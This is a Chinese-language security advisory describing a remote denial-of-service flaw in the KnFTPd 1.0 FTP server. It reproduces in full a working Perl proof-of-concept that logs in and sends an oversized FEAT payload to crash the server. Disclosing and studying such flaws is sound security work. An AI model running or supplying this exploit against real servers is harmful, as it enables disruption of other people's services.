KnFTPd 'FEAT'命令远程拒绝服务漏洞

发布日期:2012-03-29
更新日期:2012-03-30

受影响系统:
KFTPD knftpd 1.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 52805

KnFTPD是由uw开发的一款FTP服务器。

KnFTPd在实现上存在远程拒绝服务漏洞,远程攻击者可利用此漏洞使受影响FTP服务器崩溃。

<*来源:Stefan Schurtz  
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Stefan Schurtz ()提供了如下测试方法:


#!/usr/bin/perl
#################################################################################
# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit
# Author: Stefan Schurtz
# Affected Software: Successfully tested on KnFTPd 1.0.0
# Vendor URL:
# Vendor Status: informed
# CVE-ID: -
# PoC-Version: 1.0
#################################################################################
use strict;
use Net::FTP;

my $user = "system";
my $password = "secret";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
    print "[+] Usage: $@ <target> <payload length>\n";
    exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload './A' with min. length of 94
##################################################
my @p = ( "","./A" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
     $payload .= $p[$i];
     push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload [$payload]\n";
$ftp->quot('FEAT ' ."$payload");

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF

建议:
--------------------------------------------------------------------------------
厂商补丁:

KFTPD
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwgdzz.html